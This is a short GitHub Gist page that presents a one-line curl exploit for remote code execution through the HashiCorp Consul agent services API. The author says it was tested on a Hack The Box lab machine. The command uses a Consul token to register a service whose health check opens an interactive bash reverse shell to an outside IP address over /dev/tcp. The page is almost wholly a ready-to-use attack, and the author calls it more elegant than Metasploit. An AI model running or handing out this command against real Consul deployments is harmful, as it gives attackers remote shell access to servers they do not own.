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February 1, 2023 02:21
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Save A1vinSmith/b394bbafa7a7c726e7fe78ccdfc421c3 to your computer and use it in GitHub Desktop.
Hashicorp Consul services API RCE & The simplest version of exploitation
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| curl --header "X-Consul-Token: XX-<SNIP>-XX" \ | |
| -X PUT \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \ | |
| http://127.0.0.1:8500/v1/agent/service/register |
The script needs one token X-Consul-Token only to make it work. Tested on HTB Ambassador machine.
Also, please let me know the CVE or HCSEC number that I can't find them from
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Metasploit and even a python script are all overkill which I believe. A simple curl can do the job more elegantly.